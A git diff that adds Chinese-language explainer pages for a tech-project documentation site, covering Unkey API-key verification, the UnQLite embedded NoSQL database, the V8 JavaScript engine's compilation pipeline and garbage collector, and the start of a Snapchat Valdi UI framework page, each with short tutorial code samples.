+    return new Response("缺少 API key", { status: 401 });
+  }
+
+  // 向 Unkey 发起验证
+  const { meta, data } = await unkey.keys.verifyKey({ key });
+
+  if (!data.valid) {
+    // key 无效的可能原因：
+    // - NOT_FOUND: key 不存在
+    // - EXPIRED: key 已过期
+    // - RATE_LIMITED: 超出限流
+    // - DISABLED: key 已被禁用
+    return new Response(`验证失败: ${data.code}`, { status: 401 });
+  }
+
+  // key 有效，继续处理业务逻辑
+  // data.keyId 是 key 的内部 ID
+  // data.meta 是你创建时设置的元数据
+  return new Response(`你好，用户 ${data.meta?.userId}`);
+}
+```
+
+### 示例二：带用量配额和自动续费的 API Key
+
+这个示例展示更高级的功能：给不同付费等级的用户设置不同的用量配额，并且每月自动恢复额度。
+
+```typescript
+// 为不同等级的用户创建带有用量限制的 key
+async function createTieredKey(userId: string, tier: "free" | "pro" | "enterprise") {
+  const plans = {
+    free:      { credits: 1000,  refill: { interval: "monthly" as const, amount: 1000 } },
+    pro:       { credits: 50000, refill: { interval: "monthly" as const, amount: 50000 } },
+    enterprise: { credits: 1000000, refill: { interval: "monthly" as const, amount: 1000000 } },
+  };
+
+  const { meta, data } = await unkey.keys.createKey({
+    apiId: "api_myproject",
+    name: `${tier}-${userId}`,
+    meta: { userId, tier },
+    credits: plans[tier],   // 设置用量配额和自动续费
+    permissions: [           // 权限控制
+      "read:data",
+      tier !== "free" ? "write:data" : null,
+      tier === "enterprise" ? "admin:all" : null,
+    ].filter(Boolean) as string[],
+  });
+
+  console.log(`${tier} 用户 ${userId} 的 key:`, data.key);
+  console.log(`额度: ${plans[tier].credits}, 每月自动恢复`);
+  return data.key;
+}
+
+// 在请求中检查用量
+async function handleRequestWithQuota(req: Request) {
+  const key = req.headers.get("Authorization")?.replace("Bearer ", "");
+  const { data } = await unkey.keys.verifyKey({ key });
+
+  if (!data.valid) {
+    return new Response("未授权", { status: 401 });
+  }
+
+  // 如果设置了用量配额，data.credits 显示剩余次数
+  if (data.credits !== undefined) {
+    console.log(`剩余配额: ${data.credits}`);
+    // 配额用完时，verifyKey 会返回 code: "NO_CREDITS"
+  }
+
+  // 处理正常请求...
+  return new Response("请求成功");
+}
+```
+
+### 示例三：通过 Sentinel 网关透明验证
+
+如果你使用 Unkey 的部署功能，Sentinel 会自动在代码外面做验证，你的应用代码完全不需要调用 Unkey SDK。
+
+```typescript
+// 你的 API 代码完全不需要关心认证
+// Sentinel 已经在前端验证了 key，只有合法的请求会到达这里
+
+export async function handler(req: Request) {
+  // 此时请求已经通过 Unkey Sentinel 验证
+  // 验证结果以 HTTP 头的形式附加在请求上
+
+  // 从 header 获取已验证的用户身份信息
+  const userId = req.headers.get("x-unkey-identity");
+  const keyId = req.headers.get("x-unkey-key-id");
+
+  // 直接处理业务逻辑，不需要任何验证代码
+  return new Response(`已验证用户: ${userId}, key: ${keyId}`);
+}
+```
+
+## 验证响应字段速查
+
+调用 `verifyKey` 后，返回的 `data` 对象包含以下字段：
+
+| 字段 | 类型 | 说明 |
+|---|---|---|
+| `valid` | boolean | key 是否通过所有检查 |
+| `code` | string | 状态码（VALID / NOT_FOUND / EXPIRED / RATE_LIMITED 等） |
+| `keyId` | string | key 的唯一内部 ID |
+| `name` | string | key 的名称 |
+| `meta` | object | 创建时设置的自定义元数据 |
+| `expires` | number | 过期时间戳（毫秒），如果设置了过期时间 |
+| `credits` | number | 剩余可用次数，如果设置了用量配额 |
+| `enabled` | boolean | key 是否处于启用状态 |
+| `roles` | string[] | 关联的角色 |
+| `permissions` | string[] | 授予的权限列表 |
+| `ratelimits` | object[] | 限流状态，如果配置了限流 |
+
+## 总结
+
+Unkey 把 API key 的管理从"自己写一堆 if-else"变成了一个完整的平台服务。它的核心价值在于：
+
+1. **安全**：key 永远不存明文，SHA-256 哈希保障即使数据库泄露也没事
+2. **省心**：不用自己搭 Redis 做限流，不用自己写 key 的创建、过期、撤销逻辑
+3. **灵活**：支持按 key 设限流、按 key 设用量配额、自动恢复、权限分级、过期时间
+4. **透明**：通过 Sentinel 网关，验证逻辑完全前置，你的业务代码零负担
+
+对于刚接触 API 安全的人来说，理解 Unkey 的最好方式就是记住那个小区门禁卡的类比——它本质上就是一个智能门禁系统，只不过门后面保护的不是房间，而是你的 API 接口。
diff --git a/src/content/docs/projects/unqlite.md b/src/content/docs/projects/unqlite.md
new file mode 100644
index 000000000..36dd63611
--- /dev/null
+++ b/src/content/docs/projects/unqlite.md
@@ -0,0 +1,235 @@
+---
+title: UnQLite — 嵌入式 NoSQL 数据库
+来源: https://github.com/symisc/unqlite
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+UnQLite 是 Symisc Systems 用 C 写的**嵌入式 NoSQL 数据库引擎**——没有独立服务器进程，整个库链接进你的程序，读写直接落到普通磁盘文件上。日常类比：
+
+- [[redis]] / MongoDB = **快递站**：要先有站点、再连 TCP、再寄件取件
+- [[sqlite]] = **带表格的医疗手册**：结构化 SQL，表 + 行 + 列
+- UnQLite = **抽屉里的双层收纳盒**：上层放 JSON 文档（像 MongoDB 的 collection），下层放任意字节的键值对（像 LevelDB / Berkeley DB），**一个 `.db` 文件装下全部**
+
+官方把 UnQLite 定位成「自包含、无服务器、零配置、事务型 NoSQL 引擎」。和 SQLite 的「SQL as a library」平行，UnQLite 走的是 **NoSQL as a library**：单文件跨平台（32/64 位、大小端可互拷），BSD 许可，核心 + Jx9 脚本引擎可 amalgamation 成**一个约 1.8 MB 的 C 源文件**直接 `#include` 进项目。
+
+## 为什么重要
+
+嵌入式场景里，「要 NoSQL 但不要运维」的选择并不多：
+
+- **IoT / 桌面工具 / 游戏存档**：不想起 Redis，也不想为简单 KV 引入 SQLite 的 SQL 层
+- **单文件便携**：U 盘拷走 `app.db` 就是完整数据，含 JSON collection 和原始 blob
+- **双模存储**：同一 `unqlite_open()` 句柄上，C 代码走 KV API，Jx9 脚本走 Document API，无需两套数据库
+- **与 atlas 里 [[sqlite]] / [[redis]] 的区分**：SQLite 是关系型 SQL；Redis 是网络内存服务；UnQLite 是**进程内、磁盘持久、NoSQL 双接口**的 niche 选项
+
+GitHub 星标不多（约 2k），但在 C/C++ 嵌入式 NoSQL 里资料完整、API 清晰，适合作为「轻量本地文档 + KV」的学习样本。
+
+## 核心概念
+
+UnQLite 的架构是**分层 + 可插拔存储引擎**，理解下面几条就能上手：
+
+### 1. 嵌入式（Embedded）与单文件
+
+`unqlite_open(&pDb, "test.db", UNQLITE_OPEN_CREATE)` 打开或创建数据库。所有 collection、KV 记录、元数据都在**一个文件**里；也支持纯内存库（`:mem:`）。没有配置文件、没有守护进程。
+
+### 2. 两条 API 路线
+
+| 路线 | 用途 | 典型接口 |
+|------|------|----------|
+| **Key/Value Store** | 原始字节：字符串、blob、甚至整文件 mmap 进去 | `unqlite_kv_store`, `unqlite_kv_fetch_callback`, `unqlite_kv_delete` |
+| **Document Store** | JSON 对象/数组，collection 语义 | 编译 Jx9 脚本 → `unqlite_vm_exec`，脚本里 `db_create` / `db_store` / `db_fetch` |
+
+两条路线**共用同一个 `unqlite*` 句柄**，可在同一事务里混用（注意错误处理与 rollback）。
+
+### 3. Jx9 脚本语言
+
+Document 层由 **Jx9** 驱动：语法接近 C/JavaScript，基于 JSON 类型，图灵完备。流程是 C 侧 `unqlite_compile()` 得到 `unqlite_vm*`，再 `unqlite_vm_exec()`。C 还可 `unqlite_create_function()` 注册原生函数供 Jx9 调用。
+
+### 4. 事务（ACID）与并发
+
+UnQLite 支持手动事务：`unqlite_begin`, `unqlite_commit`, `unqlite_rollback`。默认许多写操作在 `unqlite_close()` 时自动提交。引擎**线程安全、可重入**；多读者 + 单写者模型，适合嵌入而非高并发 Web 后端。
+
+### 5. 存储引擎
+
+内置两种 KV 引擎：
+
+- **磁盘**：Virtual Linear Hash（VLH），宣称 O(1) 查找
+- **内存**：哈希表或红黑树
+
+可通过 `unqlite_lib_config(..., UNQLITE_LIB_CONFIG_STORAGE_ENGINE, ...)` 在运行时注册自定义引擎（Hash、B+Tree、LSM 等接口形态已定义）。
+
+### 6. 游标（Cursor）
+
+`unqlite_kv_cursor_init` 可顺序/逆序扫描全部 KV，适合导出、迁移、调试——不像纯 KV 库只能按 key 点查。
+
+## 实践案例
+
+### 案例 1：C 语言 KV — 存、追加、读、删
+
+最小可运行流程（摘自官方「5 minutes」示例的精简版）：
+
+```c
+#include <stdio.h>
+#include "unqlite.h"
+
+static int print_value(const void *pData, unsigned int nDataLen, void *pUserData) {
+    (void)pUserData;
+    fwrite(pData, 1, nDataLen, stdout);
+    putchar('\n');
+    return UNQLITE_OK;
+}
+
+int main(void) {
+    unqlite *pDb;
+    int rc;
+
+    rc = unqlite_open(&pDb, "test.db", UNQLITE_OPEN_CREATE);
+    if (rc != UNQLITE_OK) return 1;
+
+    /* 整值覆盖写入 */
+    unqlite_kv_store(pDb, "greeting", -1, "Hello World", 11);
+
+    /* 格式化写入（key 长度 -1 表示以 \\0 结尾的 C 字符串） */
+    unqlite_kv_store_fmt(pDb, "date", -1, "Today: %d-%02d-%02d", 2026, 6, 13);
+
+    /* append：同一 key 上拼接多段，适合日志式 value */
+    unqlite_kv_append(pDb, "log", -1, "start ", 6);
+    unqlite_kv_append_fmt(pDb, "log", -1, "pid=%d", 4242);
+
+    /* 回调读：不把整段 value 一次性拷进用户缓冲区，适合大 blob */
+    unqlite_kv_fetch_callback(pDb, "greeting", -1, print_value, NULL);
+
+    unqlite_kv_delete(pDb, "greeting", -1);
+
+    unqlite_close(pDb);  /* 自动 commit */
+    return 0;
+}
+```
+
+要点：
+
+- key/value 都是**字节数组**，长度显式传入；`-1` 表示 key 是 C 字符串
+- `unqlite_kv_append*` 与 `store` 不同：在已有 value 尾部追加
+- 出错时可 `unqlite_config(pDb, UNQLITE_CONFIG_ERR_LOG, ...)` 取日志，必要时 `unqlite_rollback(pDb)`
+
+### 案例 2：把多个文件打进一个「Tar 式」数据库
+
+KV 层不限制 value 类型，官方示例用 mmap 整文件写入，O(1) 按文件名（key）取回：
+
+```c
+#include "unqlite.h"
+
+int archive_files(unqlite *pDb, int argc, char **argv) {
+    for (int i = 1; i < argc; i++) {
+        void *pMap;
+        unqlite_int64 iSize;
+        const char *zName = argv[i];
+
+        if (unqlite_util_load_mmaped_file(zName, &pMap, &iSize) != UNQLITE_OK)
+            return -1;
+
+        if (unqlite_kv_store(pDb, zName, -1, pMap, (int)iSize) != UNQLITE_OK) {
+            unqlite_util_release_mmaped_file(pMap, iSize);
+            return -1;
+        }
+        unqlite_util_release_mmaped_file(pMap, iSize);
+    }
+    return 0;
+}
+```
+
+适合：嵌入式配置包、资源 bundle、离线素材库——**一个 db 文件替代 zip + 索引**。
+
+### 案例 3：Jx9 Document Store — users collection
+
+Jx9 脚本（由 C 编译执行）：
+
+```javascript
+/* 创建 collection */
+if (!db_exists('users')) {
+    if (!db_create('users')) { return; }
+}
+
+var users = [
+    { name: 'james', age: 27, mail: 'dude@example.com' },
+    { name: 'robert', age: 35, mail: 'rob@example.com' }
+];
+
+db_store('users', users);
+db_store('users', { name: 'alex', age: 19, mail: 'alex@example.com' });
+
+print "Total records: ", db_total_records('users'), JX9_EOL;
+
+var row = db_fetch_by_id('users', 1);
+print row.name, " -> ", row.mail, JX9_EOL;
+```
+
+C 侧骨架：
+
+```c
+const char *jx9_src = "/* 上面的脚本 */";
+unqlite *pDb;
+unqlite_vm *pVm;
+
+unqlite_open(&pDb, "app.db", UNQLITE_OPEN_CREATE);
+if (unqlite_compile(pDb, jx9_src, -1, &pVm) != UNQLITE_OK) {
+    /* UNQLITE_CONFIG_JX9_ERR_LOG 查看编译错误 */
+    return 1;
+}
+unqlite_vm_exec(pVm);
+unqlite_vm_release(pVm);
+unqlite_close(pDb);
+```
+
+Document 记录在磁盘上用 **fastJSON** 格式存储；查询、聚合逻辑写在 Jx9 里，C 只负责编译与执行。
+
+### 案例 4：KV 游标逆序扫描
+
+```c
+unqlite_kv_cursor *pCur;
+unqlite_kv_cursor_init(pDb, &pCur);
+unqlite_kv_cursor_last_entry(pCur);
+
+while (unqlite_kv_cursor_valid_entry(pCur)) {
+    /* unqlite_kv_cursor_key() / unqlite_kv_cursor_data() 消费当前项 */
+    unqlite_kv_cursor_prev_entry(pCur);
+}
+unqlite_kv_cursor_release(pCur);
+```
+
+用于审计、导出全库、测试环境清理。
+
+## 与 SQLite / Redis 怎么选
+
+| 维度 | UnQLite | SQLite | Redis |
+|------|---------|--------|-------|
+| 进程模型 | 库内嵌 | 库内嵌 | 独立服务 |
+| 数据模型 | KV + JSON collection | 关系表 + SQL | 内存数据结构 |
+| 典型延迟 | 本地磁盘 | 本地磁盘 | 网络 + 内存 |
+| 生态 / 工具 | 小 | 极大 | 极大 |
+| 许可 | BSD | Public Domain | BSD（服务端） |
+
+**更适合 UnQLite**：C/C++ 程序要**单文件 NoSQL**、要 JSON 文档又不想嵌 MongoDB；配置/缓存/小工具数据。**不太适合**：复杂 SQL 分析、多机分布式、或已有成熟 ORM 的全栈 Web 主库。
+
+## 踩过的坑
+
+1. **Document 层必须走 Jx9**：不能指望纯 C API 插入 JSON；要么编译脚本，要么只用 KV 自己序列化 JSON 字符串。
+2. **append 与 store 语义不同**：对同一 key 误用 `append` 会不断变长 value，迁移前要想清覆盖还是追加。
+3. **错误码要显式处理**：`UNQLITE_BUSY`、`UNQLITE_COMPILE_ERR` 等分支官方示例都有；静默忽略会导致半写入状态。
+4. **社区与周边少**：没有 PostgreSQL 级别的 GUI、备份生态；生产用要自行封装监控与迁移。
+5. **与 SQLite 不是替代关系**：需要 JOIN、约束、成熟 SQL 工具链时仍应选 SQLite。
+
+## 学习路径建议
+
+1. 从 [UnQLite in 5 Minutes](https://unqlite.symisc.net/intro.html) 下载 amalgamation 单文件，编译案例 1。
+2. 读 [API Intro](https://unqlite.symisc.net/api_intro.html) 区分 KV / Document / Cursor / Transaction 接口族。
+3. 需要 Document 时读 [Introduction to Jx9](https://unqlite.symisc.net/jx9_intro.html)，在脚本里试 `db_fetch_all`。
+4. 架构深入看 [Architecture](https://unqlite.symisc.net/arch.html) 里的存储引擎与 VM 分层。
+
+## 小结
+
+UnQLite 把 **Berkeley DB 式 KV** 和 **MongoDB 式 JSON collection** 塞进**一个嵌入式 C 库、一个数据库文件**里。零配置、ACID、跨平台单文件，是嵌入式 NoSQL 的清晰教科书实现；代价是生态小、Document 依赖 Jx9。零基础记住三句：**`unqlite_open` 打开抽屉；KV 用字节 API；JSON 用 Jx9 脚本。** 在此基础上再读游标、事务与自定义存储引擎，就够支撑小型本地数据项目。
diff --git a/src/content/docs/projects/unsloth.md b/src/content/docs/projects/unsloth.md
index 79bb59479..7f094d325 100644
--- a/src/content/docs/projects/unsloth.md
+++ b/src/content/docs/projects/unsloth.md
@@ -2,7 +2,7 @@
 title: Unsloth — 微调 2-5x 加速
 来源: https://github.com/unslothai/unsloth
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/v8.md b/src/content/docs/projects/v8.md
new file mode 100644
index 000000000..f11ffa88b
--- /dev/null
+++ b/src/content/docs/projects/v8.md
@@ -0,0 +1,306 @@
+---
+title: V8 — Chrome / Node 底层 JavaScript 引擎
+来源: https://github.com/v8/v8
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**V8** 是 Google 开发的开源 **JavaScript 与 WebAssembly 引擎**，Chrome 浏览器、Node.js、Deno（早期）、Electron 等都在它上面跑你的 JS 代码。它负责把人类可读的 `.js` 变成 CPU 能执行的机器码，并管理堆内存、对象布局与垃圾回收。
+
+日常类比：如果把 JavaScript 看成一门**外语演讲稿**，V8 就是会场里那套**同声传译系统**——
+
+- **Ignition（解释器）** 像初级译员：稿子一来立刻开译，保证开场不冷场，同时偷偷记笔记（运行时反馈）；
+- **Sparkplug / Maglev / TurboFan（JIT 编译器）** 像资深译员：发现某段话被反复念（热点代码），就提前写好「固定译法」贴在耳边，下次直接念成品，速度接近母语；
+- **Hidden Class（隐藏类 / Map）** 像给听众资料袋贴编号：同样结构的听众（对象）用同一套标签，译员不用每次翻通讯录；
+- **Orinoco（垃圾回收器）** 像保洁队：会场里发过的传单（临时对象）大多当场回收，偶尔全场大扫除也不把演讲打断太久。
+
+你写的 `console.log`、`async/await`、React 组件，在 Chrome 标签页或 `node server.js` 里，最终都由 V8 执行——只是外面再包了一层浏览器 API 或 Node 的 `libuv`。
+
+## 为什么重要
+
+不懂 V8，下面这些现象就很难说清：
+
+- **为什么同样一段循环，改一下对象写法速度差十倍**——隐藏类、元素种类（elements kind）、内联缓存（IC）在作怪
+- **为什么 Node 里 `JSON.parse` 大文件会卡，但小对象赋值很快**——解析走完整编译管线，热点函数才会被 TurboFan 优化
+- **为什么 Chrome DevTools 里能看到「优化已停用」**——推测优化失败触发 **deopt（去优化）**，回退到 Ignition 字节码
+- **为什么 `node --expose-gc` 能手动 GC**——V8 的 **Orinoco** 分代回收，老生代还能并发标记
+- **为什么 Deno/Bun 自称更快，却仍在和 V8 系生态纠缠**——V8 是事实上的服务端 JS 性能基准
+
+## 核心概念
+
+### 1. 分层编译管线（Tiered Compilation）
+
+现代 V8（Chrome 120+ / Node 20+）采用**多级 JIT**，在启动速度与峰值吞吐之间折中：
+
+```
+JS 源码
+  │  词法/语法分析 → AST
+  ▼
+Ignition 字节码（Tier 0）── 立即执行，收集 Feedback Vector
+  │
+  ├─► Sparkplug 基线机器码（Tier 1）── 快编译，几乎不优化
+  │
+  ├─► Maglev 中层优化（Tier 2）── 较快编译，类型特化
+  │
+  └─► TurboFan + Turboshaft（Tier 3）── 慢编译，峰值性能
+         │
+         └── 假设失败 → Deoptimization → 回到 Ignition
+```
+
+| 层级 | 名称 | 编译耗时（量级） | 执行速度 | 角色 |
+|------|------|------------------|----------|------|
+| 0 | Ignition | ~10µs | 最慢 | 启动执行、收集反馈 |
+| 1 | Sparkplug | ~100µs | 中等 | 快速原生码，无深度优化 |
+| 2 | Maglev | ~1ms | 较快 | 轻量优化、内联 |
+| 3 | TurboFan/Turboshaft | ~10–100ms | 接近原生 | 热点路径极致优化 |
+
+**Interrupt budget（中断预算）**：每个函数带有「热度计数」，循环/调用次数够了就触发上一层编译——你不用手动 `#pragma optimize`，引擎自己盯。
+
+### 2. Ignition 字节码与反馈向量
+
+Ignition 是**寄存器式**字节码解释器（不是栈机）。执行时，每个函数挂一份 **Feedback Vector**，记录：
+
+- 某次属性读取见过几种对象形状（monomorphic / polymorphic / megamorphic）
+- 函数被如何调用（参数个数、类型）
+- 数组元素是整数、双精度还是混合
+
+TurboFan 读这些笔记做**推测优化**：「这里 1000 次都是同一 Map，我生成一条 `cmp map; jne deopt; mov eax, [obj+offset]` 的快速路径。」
+
+### 3. Hidden Class（Map）与内联缓存
+
+JavaScript 对象在运行时才能确定有哪些属性，但 V8 假设**同类对象会重复出现**。每添加一个属性，对象会沿 **Transition Tree** 迁移到新的 **Map**（隐藏类），记录每个属性在内存中的偏移。
+
+好处：
+
+- 同 Map 的两个对象，读 `obj.x` 可以是**固定偏移加载**，不必哈希查表
+- TurboFan 可在编译期折叠 `globalObj.config.timeout` 这类**常量属性**（若证明未被改写）
+
+代价：运行中随意增删属性、或同一构造函数走出不同属性顺序，会让 Map 树分叉，优化退化为慢路径。
+
+### 4. 元素种类（Elements Kind）
+
+数组在 V8 内部不只是一段 `Array`：还有 **PACKED_SMI_ELEMENTS**（密集小整数）、**PACKED_DOUBLE_ELEMENTS**、**HOLEY_ELEMENTS**（有洞）等。从一种「升级」到另一种可能触发**去优化**或额外转换开销。写性能敏感代码时，避免给数组乱塞 `undefined` 洞、避免混用整数与浮点。
+
+### 5. Orinoco 垃圾回收
+
+V8 堆大致分：
+
+- **New Space（新生代）**：新对象诞生区，Scavenger 或 Minor Mark-Sweep 回收，「朝生暮死」
+- **Old Space（老生代）**：熬过几次 GC 的对象，Major GC 标记-清扫-可选压缩
+- **Code Space / Large Object Space**：JIT 代码与大对象专用区域
+
+Orinoco 的设计目标：**并行 + 并发**，尽量把标记、清扫放到后台线程，把 **Stop-The-World** 停顿压到毫秒级。老生代采用**增量标记**，分配过快时触发 **incremental marking** 小步推进。
+
+### 6. Isolate 与 Embedder API
+
+每个 V8 实例是一个 **Isolate**（隔离堆与编译缓存）。Chrome 每标签页、Node 每进程通常一个主 Isolate。C++ 嵌入方通过 **V8 API**（`v8::Isolate`, `v8::Context`, `v8::Local<v8::Value>`）把 JS 嵌进游戏引擎、PDF 阅读器等——Node 的 `process`、`Buffer` 就是原生绑定在 Context 上的对象。
+
+### 7. Deoptimization（去优化）
+
+优化代码里布满 **guard（守卫）**：Map 不对、类型变了、数组种类变了就跳到 **deopt trampoline**，用保存的栈帧在 Ignition 里重放。正确性永远优先；只是暂时变慢，不会 silent wrong result。
+
+## 从源码到机器码（零基础走读）
+
+以一段普通函数为例：
+
+```javascript
+function sum(arr) {
+  let total = 0;
+  for (let i = 0; i < arr.length; i++) {
+    total += arr[i];
+  }
+  return total;
+}
+```
+
+1. **Parser** 生成 AST，**Ignition** 编译为字节码（`LdaZero`, `Add`, `Star`, `JumpLoop` 等）
+2. 前几次调用：Ignition 解释执行，Feedback Vector 记录 `arr` 每次都是 **PACKED_SMI_ELEMENTS**
+3. 预算耗尽：**Maglev** 可能生成带「数组种类检查」的循环
+4. 调用更频繁：**TurboFan** 内联 `length`、去掉边界检查（在证明安全后），生成接近 C 的计数循环
+5. 若某次传入 `{ length: 3, 0: 1, 1: 2, 2: 3 }` 这类类数组对象，guard 失败 → **deopt**
+
+## 实践案例
+
+### 案例 1：用 d8 观察隐藏类与优化（V8  Shell）
+
+V8 自带调试 Shell `d8`，需本地编译 V8 或使用已构建的二进制。以下命令展示 Map 与 TurboFan 常量折叠：
+
+```javascript
+// 保存为 peak.js，运行：
+// d8 --allow-natives-syntax peak.js
+
+function Peak(name, height) {
+  this.name = name;
+  this.height = height;
+}
+
+const matterhorn = new Peak('Matterhorn', 4478);
+const wendelstein = new Peak('Wendelstein', 1838);
+
+// 让构造函数完成 slack tracking（稳定 Map）
+for (let i = 0; i < 8; i++) new Peak('x', i);
+
+function getName(obj) {
+  return obj.name;
+}
+
+// 预热 + 强制优化
+getName(matterhorn);
+getName(matterhorn);
+%OptimizeFunctionOnNextCall(getName);
+getName(matterhorn);
+
+print('name:', getName(wendelstein));
+
+// 破坏 Map 一致性 → 可能触发 deopt
+wendelstein.extra = 'promoted';
+getName(wendelstein);
+```
+
+要点：
+
+- `new Peak(...)` 两次若属性顺序一致，共享同一条 Map 链，属性访问可走快路径
+- `%OptimizeFunctionOnNextCall` 仅调试构建可用，模拟「函数变热」
+- 事后给 `wendelstein` 加非常规属性，可能使其脱离原 Map，已优化代码中的 guard 需处理
+
+本地编译 V8 的典型步骤（耗时长，仅学习用）：
+
+```bash
+git clone https://github.com/v8/v8.git
+cd v8
+# 需 depot_tools 与 gclient sync，见官方 docs
+tools/dev/v8gen.py x64.release
+ninja -C out.gn/x64.release d8
+./out.gn/x64.release/d8 --allow-natives-syntax peak.js
+```
+
+### 案例 2：Node.js 中写出「V8 友好」的热路径
+
+下面两段逻辑等价，但对引擎难度不同：
+
+```javascript
+// ❌ 慢路径倾向：动态增删键、混合类型
+function slowSum(rows) {
+  let total = 0;
+  for (const row of rows) {
+    const bag = {};
+    bag.value = row.v;      // 每次新建对象 + 新 Map
+    bag.flag = row.f;
+    total += bag.value;
+  }
+  return total;
+}
+
+// ✅ 快路径倾向：稳定形状、Smi 数组
+function fastSum(rows) {
+  let total = 0;
+  for (let i = 0; i < rows.length; i++) {
+    total += rows[i].value;  // row 构造函数一致 → 单态 IC
+  }
+  return total;
+}
+
+// 预热后 benchmark（Node 20+）
+const rows = Array.from({ length: 1_000_000 }, (_, i) => ({
+  value: i,
+  flag: i % 2,
+}));
+
+console.time('slow');
+slowSum(rows);
+console.timeEnd('slow');
+
+console.time('fast');
+fastSum(rows);
+console.timeEnd('fast');
+```
+
+实践建议：
+
+- **构造函数里一次性定好字段**，避免 `delete obj.x` 或运行时乱序 `obj[newKey] = ...`
+- 数值密集用 **TypedArray**（`Float64Array`）绕过 JS 对象属性查找
+- 不要迷信微优化；先 profile（`node --prof`, Chrome Performance），再对热点动刀
+
+### 案例 3：观察 GC 与堆上限（Node）
+
+```javascript
+// node --expose-gc gc-demo.js
+
+const v8 = require('node:v8');
+
+function heapMB() {
+  const { used_heap_size } = v8.getHeapStatistics();
+  return (used_heap_size / 1024 / 1024).toFixed(1);
+}
+
+print('before alloc', heapMB(), 'MB');
+
+const junk = [];
+for (let i = 0; i < 200_000; i++) {
+  junk.push({ id: i, data: Buffer.alloc(1024) }); // 触发老生代压力
+}
+
+print('after alloc', heapMB(), 'MB');
+
+if (global.gc) {
+  global.gc();
+  print('after manual gc', heapMB(), 'MB');
+} else {
+  print('run with: node --expose-gc gc-demo.js');
+}
+```
+
+`--expose-gc` 暴露 `global.gc()` 仅供调试；生产环境靠 Orinoco 自动调度。`v8.getHeapStatistics()` 可查看 `malloced_memory`、`external_memory`（Buffer 多在堆外记账）。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| Chrome / Chromium | 每渲染进程嵌入 V8；Blink 通过 V8 API 绑定 DOM |
+| Node.js | 主线程 JS 全在 V8；`libuv` 处理 I/O，不执行 JS |
+| Electron | Chromium + Node 双栈，共享 V8 实例策略因版本而异 |
+| WebAssembly | V8 同时编译执行 Wasm，与 JS 共享堆与调用约定 |
+| Hermes | RN 移动端引擎，**AOT 字节码、低内存**；与 V8 的 JIT 哲学相反 |
+| QuickJS | 嵌入式轻量解释器，无重型 TurboFan，适合固件 |
+| JavaScriptCore | Safari 引擎，同样 JIT + 隐藏类，实现细节不同 |
+
+## 常见误区
+
+1. **「V8 把 JS 编译成单一机器码文件」**——只有热点函数、热点循环会被 JIT；冷代码长期停留在字节码
+2. **「对象越多越好，反正有 GC」**——分配速率推高 GC 频率，老生代 Major GC 仍会造成可感知停顿
+3. **「`eval` 和 `with` 只是风格问题」**——它们会破坏作用域稳定性，导致优化器放弃内联
+4. **「Node 单线程所以不怕 CPU 密集 JS」**——V8 再快，长时间占满主线程仍会阻塞事件循环
+5. **「换最新 V8 就一定更快」**——安全补丁、Spectre 缓解、边界检查可能增加 guard；要以工作负载实测为准
+
+## 调试与观测工具
+
+| 工具 | 用途 |
+|------|------|
+| `d8` + `--allow-natives-syntax` | `%DebugPrint(obj)`, `%OptimizeFunctionOnNextCall`, `%HasFastProperties` |
+| Chrome DevTools → Performance / Memory | 火焰图、分配时间线、堆快照 |
+| `node --prof` / `node --cpu-prof` | 生成 V8 采样 profile，用 `node --prof-process` 或 speedscope 查看 |
+| `node --trace-opt` / `--trace-deopt` | 打印优化与去优化事件 |
+| `chrome://tracing` | 底层 V8 编译、GC 事件（需开启 trace 类别） |
+
+## 性能调优清单（工程向）
+
+- 保持**单态**（monomorphic）调用点：同一函数位置总是同一接收者类型
+- 数组：避免 **holey**、避免 `push` 后再 `delete` 制造洞
+- 大对象池、复用 Buffer，降低 Scavenger 压力
+- 把 CPU 密集任务丢进 **Worker Threads** 或 wasm/native addon
+- 升级 Node LTS 以获取新 Maglev/Turboshaft 改进，但要做回归测试
+
+## 延伸阅读
+
+- 官方仓库：[v8/v8](https://github.com/v8/v8)
+- 文档首页：[v8.dev](https://v8.dev/)
+- Ignition：[v8.dev/docs/ignition](https://v8.dev/docs/ignition)
+- Hidden Class / Map：[v8.dev/docs/hidden-classes](https://v8.dev/docs/hidden-classes)
+- Orinoco GC 介绍：[Trash talk: the Orinoco garbage collector](https://v8.dev/blog/trash-talk)
+- 离开 Sea of Nodes、Turboshaft：[Land ahoy](https://v8.dev/blog/leaving-the-sea-of-nodes)
+- Node.js 与 V8 版本对照：[nodejs.org/en/about/previous-releases](https://nodejs.org/en/about/previous-releases)
+- 设计文档索引：[v8.dev/docs](https://v8.dev/docs)
diff --git a/src/content/docs/projects/valdi.md b/src/content/docs/projects/valdi.md
new file mode 100644
index 000000000..30110d538
--- /dev/null
+++ b/src/content/docs/projects/valdi.md
@@ -0,0 +1,216 @@
+---
+title: Valdi — Snapchat 跨平台原生 UI 框架
+来源: https://github.com/Snapchat/Valdi
+日期: 2026-06-13
+分类: 其他
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# Valdi — 写一次 TypeScript，跑在 iOS、Android、macOS
+
+## 一句话理解 Valdi
+
+想象一下：你想做一栋房子。传统做法是分别请泥瓦匠（iOS）、木工（Android）各盖一层，材料不同、工法不同。Valdi 的做法是——你画一张图纸（TypeScript），然后有一个"翻译工厂"自动把这张图纸变成两份施工说明书，一份给泥瓦匠，一份给木工。最终建出来的两栋房子看起来一模一样，而且都是真正的砖木结构，不是临时搭的纸板房。
+
+这里的"纸板房"指的是 React Native 那种通过 JavaScript 桥接来操作原生控件的方案——中间有一层通信延迟。Valdi 不走这条路，它在你写代码的时候就直接翻译成原生视图。
+
+## 它是怎么来的
+
+Valdi 是 Snapchat 内部用了 8 年以上的跨平台 UI 框架。2024 年左右开源，目前处于 Beta 状态。注意这个 Beta 不是说功能不稳定，而是说"我们内部一直在用，但开源工具和文档还需要更多外部打磨"。
+
+## 核心概念
+
+### 1. 声明式组件（Declarative Components）
+
+Valdi 的核心写法跟 React 很像——你用一种类似 HTML 的语法（叫 TSX）来描述界面长什么样：
+
+```tsx
+import { Component } from 'valdi_core/src/Component';
+
+class HelloWorld extends Component {
+  onRender() {
+    const message = 'Hello World!';
+    <view backgroundColor='#FFFC00' padding={30}>
